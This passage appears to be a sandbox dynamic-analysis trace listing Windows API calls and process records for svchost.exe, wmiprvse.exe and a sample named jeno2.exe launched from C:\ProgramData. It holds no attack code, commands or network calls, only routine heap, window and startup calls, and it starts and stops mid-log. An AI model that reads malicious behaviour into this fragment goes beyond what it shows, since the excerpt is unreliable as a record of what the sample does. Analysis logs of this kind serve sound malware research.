hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472be0 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1474140 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476700 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465a30 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476770 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e60 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1474268 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774f0 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14719f8 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477548 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476878 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1474390 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477650 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14776f0 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477620 | out: hHeap=0x1460000) returned 1 [0057.276] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477730 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e78 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14744b8 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477890 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477970 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14779b8 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476888 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14745e0 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477ba8 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477d30 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477d78 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477b98 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1474708 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465a08 | out: hHeap=0x1460000) returned 1 [0057.277] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462288 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471a98 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14622c0 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471978 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471858 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464a40 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471938 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464ec8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471958 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463178 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464048 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14718d8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471898 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14644d8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471a58 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1466508 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471878 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14719b8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471090 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471a38 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465530 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14718f8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471a18 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14636b8 | out: hHeap=0x1460000) returned 1 [0057.278] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14718b8 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471918 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471998 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471a78 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14631a8 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14649d8 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464c88 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463c38 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465768 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14719d8 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462700 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1478190 | out: hHeap=0x1460000) returned 1 [0057.279] HeapFree (in: hHeap=0x3880000, dwFlags=0x0, lpMem=0x38807d0 | out: hHeap=0x3880000) returned 1 [0057.279] GetCursorPos (in: lpPoint=0x18fe4c | out: lpPoint=0x18fe4c*(x=718, y=418)) returned 1 [0057.279] GetCapture () returned 0x0 [0057.279] WindowFromPoint (Point=0x2ce) returned 0x100f8 [0057.280] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x458 [0057.280] DestroyWindow (hWnd=0x50116) returned 0 [0057.280] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14621e8 | out: hHeap=0x1460000) returned 1 [0057.280] DeleteDC (hdc=0x1e01027c) returned 1 [0057.280] IMalloc:Free (This=0x767666bc, pv=0x14fcaf0) [0057.280] IMalloc:Free (This=0x767666bc, pv=0x14f9468) [0057.280] IMalloc:Free (This=0x767666bc, pv=0x14f8ca0) [0057.280] IMalloc:Free (This=0x767666bc, pv=0x14fd3b0) [0057.280] IMalloc:Free (This=0x767666bc, pv=0x14f9490) [0057.280] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x18fe8c | out: lplpMessageFilter=0x18fe8c*=0x1462054) returned 0x0 [0057.281] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462050 | out: hHeap=0x1460000) returned 1 [0057.281] UnhookWindowsHookEx (hhk=0x20243) returned 1 [0057.281] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14621d0 | out: hHeap=0x1460000) returned 1 [0057.281] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14621b0 | out: hHeap=0x1460000) returned 1 [0057.281] GetTickCount () returned 0x114670d [0057.281] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462120 | out: hHeap=0x1460000) returned 1 [0057.281] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462170 | out: hHeap=0x1460000) returned 1 [0057.281] SetWindowLongA (hWnd=0x4011e, nIndex=0, dwNewLong=0) returned 21373084 [0057.281] DestroyWindow (hWnd=0x4011e) returned 1 [0057.281] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0057.283] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0057.284] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0057.284] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462098 | out: hHeap=0x1460000) returned 1 [0057.284] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462078 | out: hHeap=0x1460000) returned 1 [0057.284] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462138 | out: hHeap=0x1460000) returned 1 [0057.284] HeapDestroy (hHeap=0x3880000) returned 1 [0057.285] GlobalDeleteAtom (nAtom=0xc165) returned 0x0 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14617e0 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14617b0 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1478070 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462b40 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1461810 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1461bc0 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1461f70 | out: hHeap=0x1460000) returned 1 [0057.285] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14789b0 | out: hHeap=0x1460000) returned 1 [0057.285] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.286] IMalloc:Free (This=0x767666bc, pv=0x14f8c90) [0057.286] IUnknown:AddRef (This=0x767666bc) returned 0x1 [0057.286] Sleep (dwMilliseconds=0x0) [0057.287] CoFreeUnusedLibraries () [0057.287] OleUninitialize () [0057.362] FreeLibrary (hLibModule=0x76e40000) returned 1 [0057.362] ReleaseSemaphore (in: hSemaphore=0x90, lReleaseCount=1, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0057.362] GetCurrentThreadId () returned 0x3a4 [0057.362] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14608e0 | out: hHeap=0x1460000) returned 1 [0057.362] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14607d0 | out: hHeap=0x1460000) returned 1 [0057.362] ExitProcess (uExitCode=0x0) [0057.366] GetCurrentThreadId () returned 0x3a4 [0057.366] GetCurrentThreadId () returned 0x3a4 [0057.366] IUnknown:AddRef (This=0x767666bc) returned 0x1 [0057.366] HeapDestroy (hHeap=0x1460000) returned 1 [0057.367] CloseHandle (hObject=0x7c) returned 1 [0057.367] CloseHandle (hObject=0x80) returned 1 [0057.369] HeapFree (in: hHeap=0x2e60000, dwFlags=0x0, lpMem=0x2e60d48 | out: hHeap=0x2e60000) returned 1 [0057.369] VirtualFree (lpAddress=0x2e70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.370] HeapDestroy (hHeap=0x2e60000) returned 1 Thread: id = 2 os_tid = 0x9f4 Thread: id = 3 os_tid = 0xb80 [0045.030] GetCurrentThreadId () returned 0xb80 Thread: id = 4 os_tid = 0xa78 [0045.580] GetCurrentThreadId () returned 0xa78 Thread: id = 5 os_tid = 0xa6c [0045.580] GetCurrentThreadId () returned 0xa6c Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 6 os_tid = 0x6f4 Thread: id = 7 os_tid = 0x320 Thread: id = 8 os_tid = 0x6cc Thread: id = 9 os_tid = 0x42c Thread: id = 10 os_tid = 0x1e4 Thread: id = 11 os_tid = 0x760 Thread: id = 12 os_tid = 0x75c Thread: id = 13 os_tid = 0x74c Thread: id = 14 os_tid = 0x710 Thread: id = 15 os_tid = 0x6e8 Thread: id = 16 os_tid = 0x6e0 Thread: id = 17 os_tid = 0x6d0 Thread: id = 18 os_tid = 0x6bc Thread: id = 19 os_tid = 0x6b8 Thread: id = 20 os_tid = 0x6b0 Thread: id = 21 os_tid = 0x6a8 Thread: id = 22 os_tid = 0x69c Thread: id = 23 os_tid = 0x698 Thread: id = 24 os_tid = 0x684 Thread: id = 25 os_tid = 0x678 Thread: id = 26 os_tid = 0x4a8 Thread: id = 27 os_tid = 0x46c Thread: id = 28 os_tid = 0x44c Thread: id = 29 os_tid = 0x424 Thread: id = 30 os_tid = 0x420 Thread: id = 31 os_tid = 0x41c Thread: id = 32 os_tid = 0x404 Thread: id = 33 os_tid = 0x14c Thread: id = 34 os_tid = 0x158 Thread: id = 35 os_tid = 0x3fc Thread: id = 36 os_tid = 0x3f4 Thread: id = 37 os_tid = 0x3e8 Thread: id = 38 os_tid = 0x39c Thread: id = 39 os_tid = 0x390 Thread: id = 40 os_tid = 0x38c Thread: id = 41 os_tid = 0x388 Thread: id = 42 os_tid = 0x37c Thread: id = 43 os_tid = 0x374 Thread: id = 61 os_tid = 0xa70 Thread: id = 62 os_tid = 0xa74 Thread: id = 63 os_tid = 0xa68 Thread: id = 64 os_tid = 0x618 Thread: id = 65 os_tid = 0xb0 Thread: id = 66 os_tid = 0xa88 Thread: id = 72 os_tid = 0x71c Thread: id = 73 os_tid = 0x7a8 Thread: id = 74 os_tid = 0x564 Thread: id = 75 os_tid = 0x2c4 Thread: id = 79 os_tid = 0x5a8 Thread: id = 82 os_tid = 0x31c Thread: id = 83 os_tid = 0x6a4 Thread: id = 129 os_tid = 0xad4 Thread: id = 130 os_tid = 0xc4 Thread: id = 131 os_tid = 0xb18 Thread: id = 134 os_tid = 0xb78 Thread: id = 135 os_tid = 0xb34 Thread: id = 155 os_tid = 0xad8 Thread: id = 156 os_tid = 0xb0c Thread: id = 157 os_tid = 0x958 Thread: id = 158 os_tid = 0xa50 Thread: id = 159 os_tid = 0x9b8 Thread: id = 160 os_tid = 0x1c4 Thread: id = 161 os_tid = 0xacc Thread: id = 162 os_tid = 0x8e8 Thread: id = 163 os_tid = 0x9a8 Thread: id = 168 os_tid = 0x748 Thread: id = 169 os_tid = 0xb78 Thread: id = 170 os_tid = 0x6b0 Thread: id = 187 os_tid = 0xa54 Thread: id = 188 os_tid = 0x5d4 Thread: id = 189 os_tid = 0x4dc Thread: id = 190 os_tid = 0x6cc Thread: id = 191 os_tid = 0xa48 Thread: id = 192 os_tid = 0x158 Thread: id = 193 os_tid = 0x760 Thread: id = 194 os_tid = 0x828 Thread: id = 195 os_tid = 0x878 Thread: id = 218 os_tid = 0x758 Process: id = "3" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5fa6b000" os_pid = "0xa24" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004274c" [0xc000000f] Thread: id = 44 os_tid = 0xa48 Thread: id = 45 os_tid = 0xa44 Thread: id = 46 os_tid = 0xa40 Thread: id = 47 os_tid = 0xa3c Thread: id = 48 os_tid = 0xa38 Thread: id = 49 os_tid = 0xa34 Thread: id = 50 os_tid = 0xa30 Thread: id = 51 os_tid = 0xa2c Thread: id = 52 os_tid = 0xa28 Thread: id = 80 os_tid = 0x664 Thread: id = 142 os_tid = 0xb0 Thread: id = 143 os_tid = 0x618 Thread: id = 172 os_tid = 0xa90 Process: id = "4" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61266000" os_pid = "0x9f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 53 os_tid = 0xa18 Thread: id = 54 os_tid = 0xa14 Thread: id = 55 os_tid = 0xa10 Thread: id = 56 os_tid = 0xa0c Thread: id = 57 os_tid = 0xa08 Thread: id = 58 os_tid = 0xa04 Thread: id = 59 os_tid = 0xa00 Thread: id = 60 os_tid = 0x9fc Thread: id = 81 os_tid = 0x688 Thread: id = 165 os_tid = 0xa88 Process: id = "5" image_name = "jeno2.exe" filename = "c:\\programdata\\jeno2.exe" page_root = "0x473ca000" os_pid = "0x9e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaf8" cmd_line = "C:\\ProgramData\\jeno2.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 67 os_tid = 0x9ec [0056.449] GetVersion () returned 0x1db10106 [0056.450] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0056.451] GetProcAddress (hModule=0x76d30000, lpProcName="IsTNT") returned 0x0 [0056.451] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2d30000 [0056.452] VirtualAlloc (lpAddress=0x0, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x2d40000 [0056.452] VirtualAlloc (lpAddress=0x2d40000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d40000 [0056.454] GetCurrentThreadId () returned 0x9ec [0056.454] GetCommandLineA () returned="C:\\ProgramData\\jeno2.exe" [0056.454] GetEnvironmentStringsW () returned 0x1424660* [0056.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0056.455] RtlAllocateHeap (HeapHandle=0x2d30000, Flags=0x0, Size=0x570) returned 0x2d307d0 [0056.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2d307d0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0056.455] FreeEnvironmentStringsW (penv=0x1424660) returned 1 [0056.455] RtlAllocateHeap (HeapHandle=0x2d30000, Flags=0x0, Size=0x480) returned 0x2d30d48 [0056.455] GetStartupInfoA (in: lpStartupInfo=0x18f9b8 | out: lpStartupInfo=0x18f9b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\jeno2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.455] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.455] GetFileType (hFile=0x0) returned 0x0 [0056.455] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0056.455] GetFileType (hFile=0x0) returned 0x0 [0056.455] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0056.455] GetFileType (hFile=0x0) returned 0x0 [0056.455] SetHandleCount (uNumber=0x20) returned 0x20 [0056.455] GetACP () returned 0x4e4 [0056.455] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9e0 | out: lpCPInfo=0x18f9e0) returned 1 [0056.455] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x72a4c528, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0056.457] HeapFree (in: hHeap=0x2d30000, dwFlags=0x0, lpMem=0x2d307d0 | out: hHeap=0x2d30000) returned 1 [0056.457] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0056.457] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0056.457] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0056.458] RtlAllocateHeap (HeapHandle=0x2d30000, Flags=0x8, Size=0x800) returned 0x2d311d0 [0056.458] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x7c [0056.458] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x80 [0056.459] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0056.459] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x72a4e6c8, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0056.459] GetVersion () returned 0x1db10106 [0056.459] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0056.461] GetUserDefaultLCID () returned 0x409 [0056.461] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0056.461] GetSystemMetrics (nIndex=5) returned 1 [0056.461] GetSystemMetrics (nIndex=6) returned 1 [0056.461] GetSystemMetrics (nIndex=11) returned 32 [0056.461] GetSystemMetrics (nIndex=12) returned 32 [0056.461] GetSystemMetrics (nIndex=34) returned 132 [0056.461] GetSystemMetrics (nIndex=35) returned 38 [0056.461] GetSystemMetrics (nIndex=0) returned 1440 [0056.461] GetSystemMetrics (nIndex=1) returned 900 [0056.461] GetSystemMetrics (nIndex=32) returned 8 [0056.462] GetSystemMetrics (nIndex=33) returned 8 [0056.462] GetSystemMetrics (nIndex=42) returned 0 [0056.462] GetStockObject (i=15) returned 0x188000b [0056.462] GetStockObject (i=7) returned 0x1b00017 [0056.462] GetStockObject (i=6) returned 0x1b00018 [0056.462] GetStockObject (i=8) returned 0x1b00016 [0056.462] GetStockObject (i=4) returned 0x1900011 [0056.462] GetStockObject (i=2) returned 0x1900012 [0056.462] GetStockObject (i=0) returned 0x1900010 [0056.462] GetStockObject (i=5) returned 0x1900015 [0056.462] GetStockObject (i=13) returned 0x18a002e [0056.462] GetDC (hWnd=0x0) returned 0x4e01027b [0056.462] GetTextExtentPointA (in: hdc=0x4e01027b, lpString="0", c=1, lpsz=0x18f9dc | out: lpsz=0x18f9dc) returned 1 [0056.466] GetDeviceCaps (hdc=0x4e01027b, index=14) returned 1 [0056.466] GetDeviceCaps (hdc=0x4e01027b, index=12) returned 32 [0056.466] GetDeviceCaps (hdc=0x4e01027b, index=88) returned 96 [0056.466] 